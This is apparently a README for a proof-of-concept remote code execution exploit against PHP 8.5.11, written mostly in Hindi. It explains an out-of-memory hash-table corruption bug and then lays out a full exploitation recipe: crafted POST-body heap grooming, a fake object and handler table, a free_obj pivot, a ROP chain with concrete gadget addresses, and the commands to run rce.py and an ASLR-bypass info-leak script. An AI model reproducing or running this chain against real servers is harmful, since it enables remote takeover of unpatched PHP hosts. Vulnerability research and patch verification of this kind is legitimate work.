
🤖 नहीं, इस कमज़ोरी का फ़ायदा उठाने का एक आसान तरीका है! (बात साबित करने के लिए vibecoded)
PHP 8.5.11 (अक्टूबर 2026 के advisories) के विरुद्ध एक पुनरुत्पादनीय, अनुप्रयोग-स्वतंत्र रिमोट कोड एक्ज़ीक्यूशन PoC। यह दो 2026 PHP मेमोरी-करप्शन advisories को system("cat /etc/passwd") में बदल देता है, बिना किसी अनुप्रयोग कोड के — पीड़ित का index.php केवल ok प्रिंट करता है।
longjmp एक आधे-निर्मित HashTable को त्याग देता है, जिससे एक लटकता हुआ bucket बच जाता है जिसे shutdown नष्ट कर देता है। यह RCE primitive है।सब कुछ Podman कंटेनरों में पूरी तरह से पुनरुत्पादनीय है। पुष्ट end-to-end परिणाम ./exploits/cve-2026-109618-oom/rce.py है जो /etc/passwd पढ़ता है।
जब PHP की मेमोरी समाप्त हो जाती है तो यह zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp) को कॉल करता है। 8.5.11 में hash-table insert allocation-fallible नहीं है, इसलिए एक OOM एक आधे-संशोधित HashTable के साथ unwinding कर सकता है।
भ्रष्ट करने वाला स्थान _zend_hash_str_add_or_update_i() का add_to_hash (Zend/zend_hash.c:960) है:
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
यदि कुंजी प्रतिलिपि zend_string_init OOM करती है, तो बकेट p अलिखित छोड़ दिया जाता है
(key/h/val सभी पुराने) लेकिन nNumUsed पहले ही बढ़ा दिया गया है। अनुरोध
शटडाउन पर zend_array_destroy() nNumUsed बकेट्स को ट्रैवर्स करता है और
अलिखित बकेट के कचरा val — एक हमलावर-आकार का मान — पर i_zval_ptr_dtor(&p->val) कॉल करता है। 8.5.12 फ़िक्स ऐसे प्रत्येक आवंटन को
फ़ेल हो सकने वाले वेरिएंट (femalloc/fperealloc2 + HASH_FALLIBLE) से बदल देता है ताकि इंसर्ट
बाहर निकलने के बजाय साफ़ तरीके से लौटे।
एक्सप्लॉइट पूरी तरह से एक नियंत्रित 2560-बाइट ब्लॉक को उस HashTable का arData बनाने के बारे में है
जिसका अंतिम बकेट OOM बकेट है। जिन मानों को संतुलित करना था, और क्यों:
| प्रकार / वेरिएबल | आकार | भूमिका |
|---|---|---|
zend_array (HashTable) हेडर | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); अलिखित वाला हमारा लक्ष्य है |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — हम type_info सेट करते हैं |
zend_string | 24 B हेडर + डेटा | पैड मान; इसकी लंबाई एलोकेटर बिन चुनती है |
zend_object | 56 B | नकली ऑब्जेक्ट: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj पिवट गैजेट है |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (बिन 28 = 2560 B) |
दो एलोकेटर तथ्य जिन पर पूरा फेंग-शुई टिका है:
HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), क्योंकि
HT_SIZE_TO_MASK(n) = -(2n)।b150 (ट्रैवर्स किया गया) और b0e0 (त्यागा गया) $_POST["a"] की दो प्रतियाँ हैं
जो symtable SEPARATE_ARRAY/इनडायरेक्ट पथ द्वारा बनाई गई हैं; प्रत्येक
a[<large>][c]=v फ़ील्ड <large> कुंजी को दोनों में इंसर्ट करता है, और b0e0 हमेशा
1 कुंजी आगे रहता है। केवल b150 को php_request_shutdown द्वारा नष्ट किया जाता है, इसलिए
OOM को b150 पर ही पड़ना चाहिए।rce.py देखें)अनुरोध बॉडी एक urlencoded POST है:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB) बस इतनी मेमोरी लेता है कि OOM, OOM फ़ील्ड के
पहले insert पर ही ट्रिगर हो जाए, यानी b150 (walked table) में, न कि
discard किए गए b0e0 में।pad=<2528 B>: add_post_var पहले estrndup(A) करता है फिर
ZVAL_STRINGL_FAST(B, copy)। मापा गया B = padlen + 32, इसलिए padlen=2528
देने पर A = 2529 और B = 2560 मिलता है — दोनों bin 28। A को
estrndup पाथ द्वारा free किया जाता है।pad=x (duplicate key) retained copy B को DTOR करता है, जिससे एक
दूसरा, अलग bin-28 slot free होता है। अब b150 का 32→64 resize B का
पुनः उपयोग करता है — हमारे नियंत्रित bytes b150 के arData बन जाते हैं।zend_hash_rehash द्वारा फिर से लिखा जाता है।IS_OBJECT पर
सेट किया जाता है, value.obj = &fake_object के साथ।i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt"); इसके बाद एक
GET /leak.txt फ़ाइल लौटा देता है।दो सूक्ष्म आवश्यकताएँ जिन्होंने वास्तविक debugging समय लिया (दोनों rce.py में):
__libc_system movaps (16-byte-aligned) का उपयोग करता है, इसलिए
pop rdi; ret और system के बीच एक अतिरिक्त ret gadget डाला जाता है —
अन्यथा execve से पहले __libc_system के अंदर SIGSEGV हो जाता है।setarch -R)php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11) के विरुद्ध मापा गया।
libphp/libc bases base build में समान हैं; heap offset B installed libs के साथ
बदलता है (gdb install ने इसे स्थानांतरित कर दिया), इसलिए किसी भिन्न image के
लिए B को फिर से मापें, या ASLR-on के लिए इसे info-leak के माध्यम से resolve
करें।
| Symbol | Address |
|---|---|
| libphp base | 0x7ffff4400000 |
| libc base | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
main chunk ([anon:zend_alloc]) | 0x7ffff7200000 |
B (arData raw block = b150->arData - 512) | 0x7ffff725e400 |
| fake handlers | B + 24 + 2000 = 0x7ffff725ebe8 |
| fake object | B + 24 + 2048 = 0x7ffff725ec18 |
cmd string | B + 24 + 2200 = 0x7ffff725ecb0 |
ROP chain (fake object के सापेक्ष, o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Podman आवश्यक है। रेपो रूट से:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
अपेक्षित आउटपुट:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh